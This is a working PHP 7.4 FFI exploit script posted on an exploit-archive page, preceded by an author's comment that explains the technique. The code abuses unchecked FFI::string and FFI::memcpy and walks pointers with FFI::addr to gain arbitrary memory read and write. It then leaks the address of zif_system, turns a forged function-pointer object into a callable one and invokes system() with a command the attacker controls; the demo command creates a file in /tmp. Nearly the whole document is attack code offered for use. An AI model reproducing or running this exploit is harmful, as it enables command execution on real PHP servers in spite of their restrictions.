Share
## https://sploitus.com/exploit?id=PACKETSTORM:158371
<?php  
/*  
FFI Exploit - uses 3 potential BUGS.  
PHP was contacted and said nothing in FFI is a security issue.  
  
Able to call system($cmd) without using FFI::load() or FFI::cdefs()  
  
* BUG #1 (maybe intended, but why have any size checks then?)  
no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER  
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)  
  
* BUG #2 (maybe intended, but why have any checks then?)  
no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER  
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)  
  
* BUG #3  
Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()  
call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr  
on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA  
object  
  
  
the easiest way is to create cdata object, write target RIP (zif_system's address) to it  
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it  
  
Exploit steps:  
1. Use read/write to leak zif_system pointer  
a. walk cdata object to leak handlers pointer ( in .bss )  
b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits  
right below a pointer to the .data.relro segment  
c. Increment and read the .data.relro pointer to get a relro section leak  
d. Using the relro section leak, scan up memory looking for the 'system' string that is  
inside the zif_system relro entry.   
e. once found, increment and leak the zif_system pointer  
2. Hijack RIP with complete argument control  
a. create a function pointer CDATA object using FFI::new() [not callable as it is  
technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()  
b. Overwrite the object'd data with zif_system pointer  
c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is  
callable with our own arguments  
3. Create proper argument object to pass to zif_system (zend_execute_data .. )  
a. Build out the zend_execute_data object in a php string  
b. right after the object is the argument object itself (zval) which we must also  
build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer  
and place it into a fake zval STRING object.  
c. finally we can call zif_system with a controlled argument  
  
NOTE: does NOT exit cleanly nor give command output -- both may be possible  
  
Author: Hunter Gregal  
Tested on:  
- PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi  
- PHP 7.4.3 x64 Ubuntu 20 (apt install)  
*/  
  
ini_set("display_errors", "On");  
error_reporting(E_ALL);  
  
function pwn($cmd) {  
function allocate($amt, $fill) {  
// could do $persistent = TRUE to alloc on libc malloc heap instead  
// but we already have a good read/write primitive  
// and relying on libc leaks for gadgets is not very portable  
// (custome compiled libc -> see pornhub php 0-day)  
$buf = FFI::new("char [".$amt."]");  
$bufPtr = FFI::addr($buf);  
FFI::memset($bufPtr, $fill, $amt);  
// not sure if i need to keep the CData reference alive  
// or not - but just in case return it too for now  
return array($bufPtr, $buf);  
}  
  
// uses leak to leak data from FFI ptr  
function leak($ptr, $n, $hex) {  
if ( $hex == 0 ) {  
return FFI::string($ptr, $n);  
} else {  
return bin2hex(FFI::string($ptr, $n));  
}  
}  
  
function ptrVal($ptr) {  
$tmp = FFI::cast("uint64_t", $ptr);  
return $tmp->cdata;  
}  
  
/* Read primative  
writes target address overtop of CDATA object pointer,   
then leaks directly from the CDATA object  
*/  
function Read($addr, $n = 8, $hex = 0) {  
// Create vulnBuf which we walk back to do the overwrite  
// (the size and contents dont really matter)  
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8  
// walk back to get ptr to ptr (heap)  
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);  
/*// DEBUG  
$vulnBufPtrVal = ptrVal($vulnBufPtr);  
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);  
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));  
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));  
printf("-------\n\n");  
*/  
  
// Overwrite the ptr  
$packedAddr = pack("Q",$addr);  
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);  
  
// Leak the overwritten ptr  
return leak($vulnBufPtr, $n, $hex);  
}  
  
/* Write primative  
writes target address overtop of CDATA object pointer,   
then writes directly to the CDATA object  
*/  
function Write($addr, $what, $n) {  
// Create vulnBuf which we walk back to do the overwrite  
// (the size and contents dont really matter)  
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8  
// walk back to get ptr to ptr (heap)  
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);  
/*// DEBUG  
$vulnBufPtrVal = ptrVal($vulnBufPtr);  
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);  
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));  
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));  
printf("-------\n\n");  
*/  
  
// Overwrite the ptr  
$packedAddr = pack("Q",$addr);  
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);  
  
// Write to the overwritten ptr  
FFI::memcpy($vulnBufPtr, $what, $n);  
}  
  
function isPtr($knownPtr, $testPtr) {  
if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {  
return 1;  
} else {  
return 0;  
}  
}  
  
/* Walks looking for valid pointers  
* - each valid ptr is read and if it   
- points to the target return the address of the  
- ptr and the location it was found  
*/  
//function getRodataAddr($bssLeak) {  
function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {  
$start = $segmentLeak;  
for($i = 0; $i < $maxQWORDS; $i++) {  
if ( $up == 0 ) { // walk 'down' addresses  
$addr = $start - (8 * $i);  
} else { // walk 'up' addresses  
$addr = $start + (8 * $i);  
}  
//$leak = Read($addr, 8);  
$leak = unpack("Q", Read($addr))[1];  
  
// skip if its not a valid pointer...  
if ( isPtr($segmentLeak, $leak) == 0 ) {  
continue;  
}  
$leak2 = Read($leak, $n = $size);  
//printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);  
if( strcmp($leak2, $target) == 0 ) { # match  
return array ($leak, $addr);  
}  
}  
return array(0, 0);  
}  
  
function getBinaryBase($textLeak) {  
$start = $textLeak & 0xfffffffffffff000;  
for($i = 0; $i < 0x10000; $i++) {  
$addr = $start - 0x1000 * $i;  
$leak = Read($addr, 7);  
//if($leak == 0x10102464c457f) { # ELF header  
if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header  
return $addr;  
}  
}  
return 0;  
}  
  
function parseElf($base) {  
$e_type = unpack("S", Read($base + 0x10, 2))[1];  
  
$e_phoff = unpack("Q", Read($base + 0x20))[1];  
$e_phentsize = unpack("S", Read($base + 0x36, 2))[1];  
$e_phnum = unpack("S", Read($base + 0x38, 2))[1];  
  
for($i = 0; $i < $e_phnum; $i++) {  
$header = $base + $e_phoff + $i * $e_phentsize;  
$p_type = unpack("L", Read($header, 4))[1];  
$p_flags = unpack("L", Read($header + 4, 4))[1];  
$p_vaddr = unpack("Q", Read($header + 0x10))[1];  
$p_memsz = unpack("Q", Read($header + 0x28))[1];  
  
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write  
# handle pie  
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;  
$data_size = $p_memsz;  
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec  
$text_size = $p_memsz;  
}  
}  
  
if(!$data_addr || !$text_size || !$data_size)  
return false;  
  
return [$data_addr, $text_size, $data_size];  
}  
  
function getBasicFuncs($base, $elf) {  
list($data_addr, $text_size, $data_size) = $elf;  
for($i = 0; $i < $data_size / 8; $i++) {  
$leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];  
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {  
$deref = unpack("Q", Read($leak))[1];  
# 'constant' constant check  
if($deref != 0x746e6174736e6f63)  
continue;  
} else continue;  
$leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];  
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {  
$deref = unpack("Q", Read($leak))[1];  
# 'bin2hex' constant check  
if($deref != 0x786568326e6962)  
continue;  
} else continue;  
return $data_addr + $i * 8;  
}  
}  
  
function getSystem($basic_funcs) {  
$addr = $basic_funcs;  
do {  
$f_entry = unpack("Q", Read($addr))[1];  
$f_name = Read($f_entry, 6) . "\0";  
  
if( strcmp($f_name, "system\0") == 0) { # system  
return unpack("Q", Read($addr + 8))[1];  
}  
$addr += 0x20;  
} while($f_entry != 0);  
return false;  
}  
// Convenient for debugging  
function crash() {  
Write(0x0, "AAAA", 4);  
}  
  
  
printf("\n[+] Starting exploit...\n");  
// --------------------------- start of leak zif_system address  
/* NOTE: typically we would leak a .text address and  
walk backwards to find the ELF header. From there we can parse  
the elf information to resolve zif_system - in our case the  
base PHP binary image with the ELF head is on its own mapping  
that does not border the .text segment. So we need a creative   
way to get zif_system  
*/  
/* ---- First, we use our read to walk back to the our Zend_object,  
// and get its zend_object_handlers* which will point to the  
// php binary symbols zend_ffi_cdata_handlers in the .bss.  
//  
//_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS  
//  
// From there we search for a ptr to a known value (happens to be to the .rodata section)  
// that just so happens to sit right below a ptr to the 'zend_version' relro entry.  
// So we do some checks on that to confirm it is infact a valid ptr to the .data.relro.  
//  
// Finally we walk UP the relro entries looking for the 'system' (zif_system) entry.  
  
(zend_types.h)  
struct _zend_object { <-----typdef zend_object  
zend_refcounted_h gc;  
uint32_t handle; // may be removed ???  
end_class_entry *ce;  
const zend_object_handlers *handlers; <--- func ptrs  
HashTable *properties;  
zval properties_table[1];  
};  
(ffi.c)  
typedef struct _zend_ffi_cdata {  
zend_object std;  
zend_ffi_type *type;  
void *ptr; <--- OVERWRITE  
void *ptr_holder; <--  
zend_ffi_flags flags;  
} zend_ffi_cdata;  
  
*/   
  
list($dummyPtr, $dummy) = allocate(64, 0x41);  
// dummy buf ptr  
$dummyPtrVal = ptrVal($dummyPtr);  
  
// dummy buf ptr ptr  
$dummyPtrPtr = FFI::addr($dummyPtr);  
$dummyPtrPtrVal = ptrVal($dummyPtrPtr);  
  
printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal);  
printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);  
$r = leak($dummyPtr, 64, 1);  
printf("Dummy buf:\n%s\n", $r);  
printf("-------\n\n");  
  
/*  
// ------ Test our read and write   
$r = Read($dummyPtrVal, 256, 1);  
printf("Read Test (DummyBuf):\n%s\n", $r);  
  
Write($dummyPtrVal, "CCCCCCCC", 8);  
$r = Read($dummyPtrVal, 256, 1);  
printf("Write Test (DummyBuf):\n%s\n", $r);  
// ----------  
*/  
  
$handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);  
printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);  
  
$handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss  
printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);  
  
// Find our 'known' value in the .rodata section -- in this case 'CORE'  
// (backup can be 'STDIO)'  
list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);  
if ( $rodataLeak == 0 ) {  
// If we failed let's just try to find PHP's base and hope for the best  
printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");  
// use .txt leak  
$textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object  
printf(".textLeak = 0x%x\n", $textLeak);  
$base = getBinaryBase($textLeak);  
if ( $base == 0 ) {  
die("Failed to get binary base\n");  
}  
printf("BinaryBase = 0x%x\n", $base);  
// parse elf  
if (!($elf = parseElf($base))) {  
die("failed to parseElf\n");  
}  
if (!($basicFuncs = getBasicFuncs($base, $elf))) {  
die("failed to get basic funcs\n");  
}  
if (!($zif_system = getSystem($basicFuncs))) {  
die("Failed to get system\n");  
}  
// XXX HERE XXX  
//die("Get rodata addr failed\n");  
} else {  
printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);  
  
// Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static  
// zend_version is in .data.rel.ro  
$dataRelroPtr = $rodataLeakPtr + 8;  
printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);  
  
// Read the .data.relro potr  
$dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];  
if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {  
die("bad zend_version entry pointer\n");  
}  
printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);  
  
// Confirm this is a ptrptr to zend_version  
$r = unpack("Q", Read($dataRelroLeak))[1];  
if ( isPtr($dataRelroLeak, $r) == 0 ) {  
die("bad zend_version entry pointer\n");  
}  
  
printf("'zend_version' string ptr = 0x%x\n", $r);  
  
$r = Read($r, $n = 12);  
if ( strcmp($r, "zend_version") ) {  
die("Failed to find zend_version\n");  
}  
printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);  
  
  
/* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry  
- this is a LARGE section...  
*/  
list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);  
if ( $systemEntryPtr == 0 ) {  
die("Failed to find zif_system relro entry\n");  
}  
printf("system relro entry = 0x%x\n", $systemEntryPtr);  
$zif_systemPtr = $systemEntryPtr + 8;  
$r = unpack("Q", Read($zif_systemPtr))[1];  
if ( isPtr($zif_systemPtr, $r) == 0 ) {  
die("bad zif_system pointer\n");  
}  
$zif_system = $r;  
}  
printf("[+] zif_system @ 0x%x\n", $zif_system);  
  
// --------------------------- end of leak zif_system address  
// --------------------------- start call zif_system  
  
  
/* To call system in a controlled manner  
the easiest way is to create cdata object, write target RIP (zif_system's address) to it  
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it  
*/  
$helper = FFI::new("char* (*)(const char *)");  
//$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control  
$helperPtr = FFI::addr($helper);  
  
//list($helperPtr, $helper) = allocate(8, 0x43);  
//$x[0] = $zif_system;  
$helperPtrVal = ptrVal($helperPtr);  
$helperPtrPtr = FFI::addr($helperPtr);  
$helperPtrPtrVal = ptrVal($helperPtrPtr);  
printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);  
  
// Walk the type pointers  
//$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object  
//printf("helper CDATA object @ 0x%x\n", $helperObjPtr);  
$helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr  
//printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);  
$r = unpack("Q", Read($helperTypePtrPtr))[1];  
if ( isPtr($helperTypePtrPtr, $r) == 0 ) {  
die("bad helper type pointer\n");  
}  
$helperTypePtr = $r;  
  
// Confirm it's currently ZEND_FFI_TYPE_VOID (0)  
$r = Read($helperTypePtr, $n=1, $hex=1);  
if ( strcmp($r, "00") ) {  
die("Unexpected helper type!\n");  
}  
  
printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);  
  
// Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)  
Write($helperTypePtr, "\x10", 1);  
  
printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);  
  
// Finally write zif_system to the value  
Write($helperPtrVal, pack("Q", $zif_system), 8);  
  
// --------------------------- end of leak zif_system address  
// ----------------------- start of build zif_system argument  
/*  
zif_system takes 2 args -> zif_system(*zend_execute_data, return_val)  
For now I don't bother with the return_val, although tehnically we could control  
it and potentially exit cleanly  
*/  
  
// ----------- start of setup zend_execute_data object  
  
/* Build valid zend_execute object  
struct _zend_execute_data {  
const zend_op *opline; /* executed opline   
zend_execute_data *call; /* current call   
zval *return_value;  
zend_function *func; /* executed function   
zval This; /* this + call_info + num_args   
zend_execute_data *prev_execute_data;  
zend_array *symbol_table;  
void **run_time_cache; /* cache op_array->run_time_cache   
}; //0x48 bytes  
*/  
  
//This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data]   
$execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's  
$execute_data .= pack("L", 0); // this.u1.type  
$execute_data .= pack("L", 1); // this.u2.num_args  
$execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj  
$execute_data .= str_shuffle(str_repeat("D", 8)); //padding  
  
// ----------- end of setup zend_execute_data object  
// ----------- start of setup argument object  
/* the ARG (zval) object lays after the execute_data object  
  
zval {  
value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string])  
u1.type = 6 (IS_STRING)  
u2.???? = [unused]  
}  
*/  
  
/*  
// Let's get our target command setup in a controlled buffer  
// TODO - use the dummy buf?  
// the string itself is odd. it has 16 bytes prepended to it that idk what it is  
// the whole argument after the zend_execute_data object looks like  
*/  
  
$cmd_ = str_repeat("X", 16); // unk padding  
$cmd_ .= pack("Q", strlen($cmd)); // string len  
$cmd_ .= $cmd . "\0"; // ensure null terminated!  
list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);  
$cmdBufPtrVal = ptrVal($cmdBufPtr);  
FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));  
printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);  
  
// Now setup the zval object itself  
$zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)  
$zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])  
$zval .= pack("L", 0); // zval.u2 - unused  
  
$execute_data .= $zval;  
  
// ---------- end of setup argument object  
// ----------------------- start of build zif_system argument  
$res = $helper($execute_data);  
//$return_val = 0x0; // // XXX if we want return_val control  
//$res = $helper($execute_data, $return_val); // XXX if we want return_val control  
// --------------------------- end of call zif_system  
}  
pwn("touch /tmp/WIN2.txt");  
?>